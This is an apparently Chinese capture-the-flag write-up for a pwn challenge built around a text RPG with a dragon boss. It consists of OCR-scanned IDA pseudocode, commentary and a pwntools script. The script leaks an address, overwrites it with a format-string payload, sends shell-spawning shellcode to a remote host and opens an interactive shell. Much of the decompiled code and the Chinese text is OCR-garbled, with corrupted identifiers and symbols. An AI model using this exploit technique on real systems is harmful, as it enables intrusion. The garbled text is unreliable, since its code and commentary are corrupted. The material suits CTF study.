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__intéh v3; F/7 STeB_BE1
char =ul; f7 raxz@l

char =u5; /7 ST18_8E1
__intéh result; // rax@l
__inted w7; A/ rdzE

ud = =MK_FP{__FS__, 48LL);
setbuf(stdout, BLL);
alarm{8x3Cu) ;
sub_4B88996();

uh {char =)malloc({8ulL);
uh = ul;

*(_ DUWORD =)ul = 68;

*({_ DWORD =)ul + 1) = 85;

puts{“we are wizard, we will give you hand, you can not defeat dragon by yourself ..

| _int6d _ Fastcall main({__inték a1, char ==a2, char ==a3)

puts{“we will tell you two secret ...");
printf{"secret[B8] is %x\n", v5, a?);
printf{"secret[1] is %xin", u5 + A4});

puts({"do not tell anyone ");
sub_L4B8OD72{uv5);

puts{"The End..... Really?");
result = BLL;

u7 = =HK_FP{__FS_, 4OLL) ~ u3;

return recsult;

mainBR HHH AR, BRAEHMREE—T.
A sub_400D72

3 X [EPseudo~ [ [EIpa ~ [ Pseud~ B  [EPseudo~ [
-~ 1| _dinté64 _ fastcall sub_488D72{__int64s al)
24
3| char s; /f [sp+18h] [bp-Z26h]E1
4 int6d vw3d; 7 [sp+28h] [bp-8h]@E1
5
G w3 = =MK_FP{__FS__, 48LL);
7| puts{”What should your character's name be:"});
8 _isoc99_scanf("%s", &s);
9 if ( strlen{&s) <= BxC )
18 {
11 D = a new player.");
12 sub_488A7D();
13 sub_48BBB9();
14 sub_48BCAG(a1);
15
16( e
17 {

18 puts{"Heit What's upt?"});

19 ¥

20| return =HK_FP{__FS_, 4BLL) ~ v3;
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fEsub_400BBOREHER T

1| inté4 sub_ 4BBBBY{)
2K
3| dint wi; £4 [sp+&h] [bp-7Ch]E1

4| _ intéd w25 Jf [sp+8h] [bp-78h]E1
5| char format; // [sp+18h] [bp-7Bh]E2
6| __intéh wh; f/ [sp+78h] [bp-8h]Ei

7

8

9

uly = =MK_FP{__FS_ , 46LL);

u? = BLL;

18| puts{"You travel a short distance east.That's odd, anyone disappear suddenly"};

11| puts{”, what happend??! You just travel , and find another hole");

12| puts{"You recall, a big black hole will suckk you into it? Know what should you do?"};
13| puts{’go into there{1), or leave{B)?:");

14| _isoc99_scanf("%d, &ul);

A5 iF ( vl == 1)

16| {

17 puts{"A voice heard in your mind");
18 puts{"'Give me an address'");

19 _isoc99_scanf({"%1d", &u2);

28 puts{"And, you wish is:"});

21 _isoc99_scanf({"%s", &format);

22 puts{"Your wish is");

23 ErintF‘&FurmatI Brormaty;

254 puts(”I hear 1t, ear 1t....");
250 %

26| return =ME_FP{__F5_ , u48LL) ~ouh;
27
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* | [EPseudo- @ [EIns - B Pseud~ B  [EPFseude~ [ [EPseudo [ [
~ 1| inté4 _ fastcall sub_4BBCAG{_ intdd al)
2
3| wvoid =vi1; ff rsiE2
4 _ intbh wd; /7 [sp+18h] [bp-8h]E1
5
o vd = =MK_FP{_FS_ , 46LL};
7| puts{"Ahutttteeeesebreitin Dragon has appeared?*®™);
8| puts{"Dragon say: HaHat* you were supposed to have a normal™);
9| puts{"RPG game, but I have changed it? you have no weapon and "};

18| puts{"skill? you could not defeat me *"};
11| puts{"That's sound terriblet you meet final bosstbut you level is OHE*");
12| if { =(_DWORD =)a1 == ={ DUWORD =)({al + 4) )

13| {

14 puts{“Wizard: I will help you? USE YOU SPELL");
15 ul = mmap{8LL, 6=21806ullL, 7, 33, -1, BLL);

16 read{@, vi, Bx1060ulLlL);

17 {{void { fastcall =){_QWORD, void =)yl LAl ud) s
18 b

19 return =MK_FP{__F5_ , 48LL) R H




(a1+4RFRatinaNF4, W —MEHRBEF XM Aa1[1])D

ZJE RT3 SR fr @ PATHIES), ATLAEEPITSME AR &S, MAGRa1XMHABERE - MEFETE A
%, AEmainE b kMatit £ Vo~ V4, Ma1[0]=68, a1[1]=85.

printf(“secret[0] is %x\n”, v5, a2);

printf(“secret[1] is %x\n”, v5 + 4);
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from pwn import *

#r=process ("3 fE4")

r =remote(*111.200.241.244°,63157)
r.recvuntil(“secret[0] is “)

A B B I B 1581 PP R 34 16 i R 45a1_addr
al_addr = int(r.recvuntil(™\n")[:-1], 16)

print(a1_addr)

#i#E N\ sub_400D725E ¥

r.recvuntil(*What should your character’'s name be:\n”)
r.sendline(“wang”)

#i3k Asub_400A7D & ¥k



r.recvuntil(“So, where you will go?east or up?:\n”)
r.sendline(“east”)

#i3 Asub_400BB9X %

r.recvuntil(“go into there(1), or leave(0)?:\n”)
r.sendline(“1”)

r.recvuntil("‘Give me an address’\n")
r.sendline(str(a1_addr))
r.recvuntil(*And, you wish is:\n”)
payload = ‘A’ * 85 + “%7%$n”
r.sendline(payload)

shellcode = asm(shellcraft.sh())
r.sendline(shellcode)

r.interactive()
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